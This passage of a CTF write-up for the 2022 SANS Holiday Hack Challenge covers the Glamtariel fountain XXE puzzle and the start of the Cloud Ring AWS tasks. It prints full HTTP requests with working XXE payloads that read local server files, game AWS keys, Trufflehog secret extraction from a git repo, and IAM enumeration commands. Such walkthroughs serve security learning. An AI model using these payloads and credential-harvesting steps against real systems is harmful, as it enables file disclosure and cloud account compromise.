  The fountain: "Kringle really dislikes it if anyone tries to TAMPER with the cookie recipe Glamtariel uses."
  
  Glamtariel: "Kringle really likes the cookies here so I always make them the same way."
The candy cane:
- When dropped on Glamtariel:
  
  Glamtariel: "Mmmmm, I love Kringlish Delight!"
  
  The fountain: "I think Glamtariel is thinking of a different story."
- When dropped on the fountain:
  
  The fountain: "Zany Zonka makes the best of these!"
  
  Glamtariel: "I think fountain gets confused about things sometimes."
The ice cube:
- When dropped on Glamtariel:
  
  Glamtariel: "No worries, it doesn't get nearly as cold here as it did in Melgarexa. Brrrr, that was one frigid trip."
  
  The fountain: "I think it's a perfect temperature here."
- When dropped on the fountain:
  
  The fountain: "Hey, its Chilly Icycube, my old friend! I remember when they were but a small drop in the Dimrofel."
  
  Glamtariel: "It's always great when old friends visit!"
The elf:
- When dropped on Glamtariel:
  
  Glamtariel: "I helped the elves to create the PATH here to make sure that only those invited can find their way here."
  
  The fountain: "I wish the elves visited more often."
- When dropped on the fountain:
  
  The fountain: "The elves do a great job making PATH s which are easy to follow once you see them."
  
  Glamtariel: "I don't get away as much as I used to. I think I have one last trip in me which I've probably put off for far too long."

When we've asked about every element, the four images change:

Here's what we get when we drop them:

The ring:
- When dropped on Glamtariel:
  
  Glamtariel: "I do have a small ring collection, including one of these."
  
  The fountain: "I think Glamtariel likes rings a little more than she lets on sometimes."
- When dropped on the fountain (an evil eye appears, we must click on it to make it go away):
  
  The fountain: "Between Glamtariel and Kringle, many who have tried to find the PATH here uninvited have ended up very dis APP ointed. Please click away that ominous eye!"
  
  Glamtariel: "Careful with the fountain! I know what you were wondering about there. It's no cause for concern. The PATH here is closed!"
The igloo:
- When dropped on Glamtariel:
  
  Glamtariel: "It's understandable to wonder about home when one is adventuring."
  
  The fountain: "I think I'd worry too much if I ever left this place."
- When dropped on the fountain:
  
  The fountain: "What's this? Fake tickets to get in here? Snacks that don't taste right? How could that be?"
  
  Glamtariel: "The fountain shows many things, some more helpful than others. It can definitely be a poor guide for decisions sometimes."
The sailing ship:
- When dropped on Glamtariel:
  
  Glamtariel: "These ice boat things would have been helpful back in the day. I still remember when Boregoth stole the Milsarils, very sad times."
  
  The fountain: "I'm glad I wasn't around for any of the early age scuffles. I shudder just thinking about the stories."
- When dropped on the fountain:
  
  The fountain: "I pretty much stick to just one TYPE of language, it's a lot easier to share things that way."
  
  Glamtariel: "Did you know that I speak in many TYPE s of languages? For simplicity, I usually only communicate with this one though."
The star:
- When dropped on Glamtariel or the fountain (same behavior):
  
  Glamtariel: "O Frostybreath Kelthonial, shiny stars grace the night from heavens on high!"
  
  The fountain: "Up and far many look away from glaciers cold, To Phenhelos they sing here in Kringle's realm!"

Here's what we get when we drop them:

The blue rings (same behavior for both):
- When dropped on Glamtariel:
  
  Glamtariel: "I love these fancy blue rings! You can see I have two of them. Not magical or anything, just really pretty."
  
  The fountain: "If asked, Glamtariel definitely tries to insist that the blue ones are her favorites. I'm not so sure though."
- When dropped on the fountain:
  
  The fountain: "Glamtariel can be pretty tight lipped about some things."
  
  Glamtariel: "I like to keep track of all my rings using a SIMPLE FORMAT, although I usually don't like to discuss such things."
The silver ring:
- When dropped on Glamtariel:
  
  Glamtariel: "Wow!, what a beautiful silver ring! I don't have one of these. I keep a list of all my rings in my RINGLIST file. Wait a minute! Uh, promise me you won't tell anyone."
  
  The fountain: "I never heard Glamtariel mention a RINGLIST file before. If only there were a way to get a peek at that."
- When dropped on the fountain:
  
  The fountain: "Glamtariel may not have one of these silver rings in her collection, but I've overheard her talk about how much she'd like one someday."
  
  Glamtariel: "You know what one of my favorite songs is? Silver rings, silver rings ...."
The red ring:
- When dropped on Glamtariel:
  
  Glamtariel: "Ah, the fiery red ring! I'm definitely proud to have one of them in my collection."
  
  The fountain: "I think Glamtariel might like the red ring just as much as the blue ones, perhaps even a little more."
- When dropped on the fountain:
  
  The fountain: "You know, I've heard Glamtariel talk in her sleep about rings using a different TYPE of language. She may be more responsive about them if you ask differently."
  
  Glamtariel: "Hmmm, you seem awfully interested in these rings. Are you looking for something? I know I've heard through the ice cracks that Kringle is missing a special one."

And that's it. After that, the messages loop and nothing changes.

Let's recap. You might have noticed that some words are in all caps. If you remember Hal Tandibuck's clue, these words have some importance. These words are:

TAMPER: this actually means we should not tamper with the cookies (I spent several hours trying to but getting nowhere...)
PATH: this probably means that we're going to need to guess the path to... something?
APP: this word is used with PATH, so maybe APP is a part of the path we must find?
TYPE: Glamtariel says she understands another type of language, more on that later.
RINGLIST: Glamtariel keeps a list of her rings in a file, this must be what we must find a path to.
SIMPLE FORMAT: this list of rings is kept in a simple format, most likely in a .txt file.

We also learn that Glamtariel pretends her favorite rings are the blue ones, but would very much like to add a silver ring to her collection.

Now, let's take a look under the hood. What "language" are we using to talk to Glamtariel and her fountain? Here's the request we sent when we dropped the silver ring on Glamtariel:

POST /dropped HTTP/1.1
Host: glamtarielsfountain.com
Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=99e85c94-c24e-4916-8214-996b143317b5.EN8o8Hzkc6bGjlB7yO10QNWkXwg
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/json
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Grinchum: ImI0NWVlYzE1MTMxMGU5MzRmZGI0NDlkNDQxNjQyMzA2ZjkzMTk3NDYi.Y7hu8g.S-ougqTjKWzwSN2US_Z9jmmBca8
Content-Length: 52
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{"imgDrop":"img1","who":"princess","reqType":"json"}

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Fri, 06 Jan 2023 19:01:50 GMT
Content-Type: application/json
Content-Length: 333
Set-Cookie: MiniLembanh=99e85c94-c24e-4916-8214-996b143317b5.EN8o8Hzkc6bGjlB7yO10QNWkXwg; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{
  "appResp": "Wow!, what a beautiful silver ring! I don't have one of these. I keep a list of all my rings in my RINGLIST file. Wait a minute! Uh, promise me you won't tell anyone.^I never heard Glamtariel mention a RINGLIST file before. If only there were a way to get a peek at that.",
  "droppedOn": "none",
  "visit": "none"
}

We're using JSON, but apparently Galamtriel supports another type of language. It would be interesting if it was XML, because we could exploit an XXE vulnerability against this JSON endpoint. Let's convert our JSON to XML and see if it works. We must also make sure to change the reqType parameter from json to xml, as well as modifying the Content-Type header:

POST /dropped HTTP/1.1
Host: glamtarielsfountain.com
Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=5187b7cc-eaa1-4945-8e16-794290a2dea9.jXW5lp2QZAQt5_9jSvnHEmvi4lI
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/json
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
X-Grinchum: ImQ3MTM1MWVhNjY2MjgyNzI4YmRjNGJjYWQ5M2MwNmU3MDZhZTJhZmIi.Y7h6Bw.AOMSA0YJKPm1PIU5Tql7hdYfqFk
Content-Length: 132
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

<?xml version="1.0" encoding="UTF-8" ?>
<root>
  <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Fri, 06 Jan 2023 19:45:07 GMT
Content-Type: application/json
Content-Length: 193
Set-Cookie: MiniLembanh=5187b7cc-eaa1-4945-8e16-794290a2dea9.jXW5lp2QZAQt5_9jSvnHEmvi4lI; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{
  "appResp": "I love rings of all colors!^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.",
  "droppedOn": "none",
  "visit": "none"
}

Well, it seems to work, great! Now maybe we can try to exploit an XXE. I first tried to really exploit the vulnerability to get an error with a verbose message, or even try a blind XXE (with domain name resolution, or HTTPS connect back to get a malicious DTD, that sort of thing). But the XXE is simulated inside the application.

Anyway, we want to leak the ring list file. By taking a look at the requests made to the website, we see that the different images, including the ones depicting rings, are stored in /static/images/. But we need to find the web root on the file system. Since we had the clue with the word APP, we can try /app as a webroot. Finally, the file name. Well, it's a ring list stored in a simple format, so let's try ringlist.txt.

Now, we search for a payload that would allow to read a local file:

POST /dropped HTTP/1.1
Host: glamtarielsfountain.com
Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/xml
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE
Content-Length: 221
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "file:///app/static/images/ringlist.txt"> ]>
<root>
 <imgDrop>&example;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 13:00:33 GMT
Content-Type: application/json
Content-Length: 350
Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{
  "appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)",
  "droppedOn": "none",
  "visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px"
}

We get an image to a secret folder:

The folder is labeled x_phial_pholder_2022 and contains two files: redring.txt and bluering.txt. Let's take a look at the blue ring file:

POST /dropped HTTP/1.1
Host: glamtarielsfountain.com
Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/xml
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE
Content-Length: 269
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/bluering.txt">
]>
<root>
 <imgDrop>&example;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 13:39:56 GMT
Content-Type: application/json
Content-Length: 274
Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{
  "appResp": "I love these fancy blue rings! You can see we have two of them. Not magical or anything, just really pretty.^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.",
  "droppedOn": "none",
  "visit": "none"
}

Hmm, nothing, let's see with the red ring:

POST /dropped HTTP/1.1
Host: glamtarielsfountain.com
Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/xml
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE
Content-Length: 268
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/redring.txt">
]>
<root>
 <imgDrop>&example;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 13:39:40 GMT
Content-Type: application/json
Content-Length: 223
Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{
  "appResp": "Hmmm, you still seem awfully interested in these rings. I can't blame you, they are pretty nice.^Oooooh, I can just tell she'd like to talk about them some more.",
  "droppedOn": "none",
  "visit": "none"
}

Still nothing... What about the silver ring? Glamtariel does not have one, let's see what she has to say about it:

POST /dropped HTTP/1.1
Host: glamtarielsfountain.com
Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/xml
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE
Content-Length: 271
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/silverring.txt">
]>
<root>
 <imgDrop>&example;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 13:40:12 GMT
Content-Type: application/json
Content-Length: 368
Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{
  "appResp": "I'd so love to add that silver ring to my collection, but what's this? Someone has defiled my red ring! Click it out of the way please!.^Can't say that looks good. Someone has been up to no good. Probably that miserable Grinchum!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px"
}

We get a picture of the red ring but...

The inside of the red ring reads goldring_to_be_deleted.txt. Let's ask Glamtariel about this interesting file:

POST /dropped HTTP/1.1
Host: glamtarielsfountain.com
Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/xml
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE
Content-Length: 283
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt">
]>
<root>
 <imgDrop>&example;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 13:40:26 GMT
Content-Type: application/json
Content-Length: 333
Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{
  "appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.",
  "droppedOn": "none",
  "visit": "none"
}

Hmm, two new capitalized words: REQ and TYPE. She's giving us a clue about the reqType parameter. Maybe we should try triggering the XXE with the reqType parameter. She's also asking for a silver ring in exchange. If you remember, the silver ring was img1. Let's send img1 and trigger the XXE in reqType:

POST /dropped HTTP/1.1
Host: glamtarielsfountain.com
Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=03a5bb54-8add-4ddd-be89-358a7c0190a8.9h2D9t5bC9rE7URTCfuM0bVr0qM
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/xml
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
X-Grinchum: IjdmNmM4M2VjZGEzZDc4YmFhYjA0YzU5YThkOGEwNDgxNDdlNTdmZTIi.Y7bXXw.jmgvyTtU6Y5LRouZtg0MMYAHdSo
Content-Length: 260
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt">
]>
<root>
 <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>&example;</reqType>
</root>

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 14:45:29 GMT
Content-Type: application/json
Content-Length: 593
Set-Cookie: MiniLembanh=03a5bb54-8add-4ddd-be89-358a7c0190a8.9h2D9t5bC9rE7URTCfuM0bVr0qM; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{
  "appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it really was to him. Though I haven't touched it myself, I've been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px"
}

We finally get our golden ring, with file name goldring-morethansupertopsecret76394734.png:

Phew, that's done! I want to thank the people in the HHC Discord server for their help, especially MichelleB, elakamarcus, and DP. They were able to nudge me in the right directions and confirm my theories without spoiling anything. Team work makes the dream work.

Akbowl says

No! That's not yours!

This birdbath showed me images of this happening.

But I didn't believe it because nobody is better than Akbowl!

Akbowl's head is the hardest! That's what the other sporcs tell me.

I guess Akbowl's head is not the smartest.

Don't be mad, Akbowl, but we get the third ring: the Web Ring:

Right next to the fountain, Grinchum is fuming:

Grinchum says

😏 First lost... second lost... third lost. 😟

Where are they? 😦 WHERE ARE THEY, preciouses?

No! Aaargh! Lost!

😖 You - naggy human. Musn't bother us. 😱 Not its business! grinchum..grinchum

Recover the Cloud Ring

Down and down we go, where we meet our first two Sporcs!

Brozeek says

Cro! Slicmer got me on the BSRS pre-sale!

Now all we gotta do is swap outfits, then you can go back in there as me.

Tell Slicmer you lost your wallet key, so you made a new wallet and need to add it to the list.

Then give him your wallet address, and we'll both be able to buy an NFT!

Social engineering at its finest, Cro.

Crozag says

Bro, you usually have good ideas, but this one is really terrible.

Manipulating friends with social engineering isn't cool, Bro.

Let's do it!

Looks like there's a cryptocoin pre-sale going on and these two Sporcs want in on it. Let's put a pin on it for now and go on.

AWS CLI Intro

We enter the Cloud Ring room, and find Jill Underpole:

Jill Underpole says

Umm, can I help you?

Me? I'm Jill Underpole, thank you very much.

I'm working on this here smoke terminal.

Cloud? Sure, whatever you want to call it.

Anyway, you're welcome to try this out, if you think you know what you're doing.

You'll have to learn some basics about the AWS command line interface (CLI) to be successful though.

Let's connect to the terminal and answer the questions:

You may not know this, but AWS CLI help messages are very easy to access. First, try typing:
$ aws help

elf@4c2c76400f83:~$ aws help

Great! When you're done, you can quit with q.
Next, please configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY, the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1 .
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config

elf@4c2c76400f83:~$ aws configure
AWS Access Key ID [None]: AKQAAYRKO7A5Q5XUY2IY
AWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
Default region name [None]: us-east-1
Default output format [None]:

Excellent! To finish, please get your caller identity using the AWS command line. For more details please reference:
$ aws sts help
or reference:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/index.html

elf@4c2c76400f83:~$ aws sts get-caller-identity
{
    "UserId": "AKQAAYRKO7A5Q5XUY2IY",
    "Account": "602143214321",
    "Arn": "arn:aws:iam::602143214321:user/elf_helpdesk"
}

Great, you did it all!

Having answered all the questions, we talk to Jill:

Jill Underpole says

Wait, you got it done, didn't you?

Ok, consider me impressed. You could probably help Gerty, too.

The first trick'll be running the Trufflehog tool.

It's as good at sniffing out secrets as I am at finding mushrooms!

After that, it's just a matter of getting to the secret the tool found.

I'd bet a basket of portobellos you'll get this done!

Trufflehog Search

Gerty Snowburrow says

Well now, look who's venturing down into the caves!

And well, who might you be, exactly?

I'm Gerty Snowburrow, if you need to know.

And, not that I should be telling you, but I'm trying to figure out what Alabaster Snowball's done this time.

Word is, he committed some secrets to a code repo.

If you're feeling so inclined, you can try and find them for me

The name of the objective is clearly an indication to use Trufflehog, a tool to find common secrets in several locations (S3 buckets, Git repositories or commits, etc.).

Let's run trufflehog git on the Git URL Gerty gives us:

$ ~/tools/trufflehog/trufflehog git https://haugfactory.com/orcadmin/aws_scripts
🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷

Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/orcadmin/aws_scripts
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6

Found unverified result 🐷🔑❓
Detector Type: Gitlab
Decoder Type: PLAIN
Raw result: add-a-file-using-the-
Repository: https://haugfactory.com/orcadmin/aws_scripts
Timestamp: 2022-09-06 19:54:48 +0000 +0000
Line: 14
Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85
File: README.md
Email: alabaster snowball <alabaster@northpolechristmastown.local>

Found unverified result 🐷🔑❓
Detector Type: Gitlab
Decoder Type: BASE64
Raw result: add-a-file-using-the-
Email: alabaster snowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/orcadmin/aws_scripts
Timestamp: 2022-09-06 19:54:48 +0000 +0000
Line: 14
Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85
File: README.md

Looks like Alabaster commited an AWS secret to the put_policy.py file.

Gerty Snowburrow says

Say, you got it done, didn't you?

Well now, you might just be able to tackle the other AWS terminal down here.

It's a bit more involved, but you've got the credentials to get it started now.

Before you try it, you should know the difference between managed and inline policies.

Short version: inline policies apply to one identity (user, role, group), and managed policies can be attached to many identities.

There are different AWS CLI commands to interact with each kind.

Other than that, the important bit is to know a bit about cloud or IAM privilege escalation.

Sometimes attackers find access to more resources by just trying things until something works.

But if they have access to the iam service inside the AWS CLI, they might just be able to ask what access they have!

You can do it!

Exploitation via AWS CLI

Sulfrod says

Hey! You - come here!

You look like someone who knows how to do this nerd stuff.

I need my terminal to be stronger, like me!

flexes

You're gonna do that for me so I can bust into this cloud machine thing.

Let's try to get the ring before she can. To complete this challenge, we must enter a series of AWS functions. The questions always point to the AWS documentation. It should be easy to find the proper function.

Use Trufflehog to find credentials in the Gitlab instance at https://haugfactory.com/asnowball/aws_scripts.git.
Configure these credentials for us-east-1 and then run:
$ aws sts get-caller-identity

We ran Trufflehog in the last objective. It gave us the commit and the file containing the AWS secret. Let's clone the repository and check it out:

(Note: the URL is different because the one given by Gerty gives an HTTP redirection. Also, sorry for ze French output, my computer is configured in French.)

$ git clone https://haugfactory.com/orcadmin/aws_scripts
Clonage dans 'aws_scripts'...
warning: redirection vers https://haugfactory.com/orcadmin/aws_scripts.git/
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Dépaquetage des objets: 100% (64/64), 23.83 Kio | 739.00 Kio/s, fait.
$ cd aws_scripts
$ git checkout 106d33e1ffd53eea753c1365eafc6588398279b5
Note : basculement sur '106d33e1ffd53eea753c1365eafc6588398279b5'.

Vous êtes dans l'état « HEAD détachée ». Vous pouvez visiter, faire des modifications
expérimentales et les valider. Il vous suffit de faire un autre basculement pour
abandonner les commits que vous faites dans cet état sans impacter les autres branches

Si vous voulez créer une nouvelle branche pour conserver les commits que vous créez,
il vous suffit d'utiliser l'option -c de la commande switch comme ceci :

  git switch -c <nom-de-la-nouvelle-branche>

Ou annuler cette opération avec :

  git switch -

Désactivez ce conseil en renseignant la variable de configuration advice.detachedHead à false

HEAD est maintenant sur 106d33e added
$ grep aws_ put_policy.py
aws_access_key_id="AKIAAIDAYRANYAHGQOHD",
aws_secret_access_key="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",

We now have the secret access key and the key ID, we can configure it in our AWS CLI:

elf@80c2de61d99b:~$ aws configure
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
elf@80c2de61d99b:~$ aws sts get-caller-identity
{
    "UserId": "AIDAJNIAAQYHIAAHDDRA",
    "Account": "602123424321",
    "Arn": "arn:aws:iam::602123424321:user/haug"
}

Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to find any policies attached to your user.
The aws iam command to list attached user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-user-policies.

We know from our previous command that our username is haug.

elf@80c2de61d99b:~$ aws iam list-attached-user-policies --user-name haug
{
    "AttachedPolicies": [
        {
            "PolicyName": "TIER1_READONLY_POLICY",
            "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
        }
    ],
    "IsTruncated": false
}
elf@80c2de61d99b:~$ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY
{
    "Policy": {
        "PolicyName": "TIER1_READONLY_POLICY",
        "PolicyId": "ANPAYYOROBUERT7TGKUHA",
        "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 11,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.",
        "CreateDate": "2022-06-21 22:02:30+00:00",
        "UpdateDate": "2022-06-21 22:10:29+00:00",
        "Tags": []
    }
}

Attached policies can have multiple versions. View the default version of this policy.
The aws iam command to get a policy version can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html

We know from our previous command that the default version is v1.

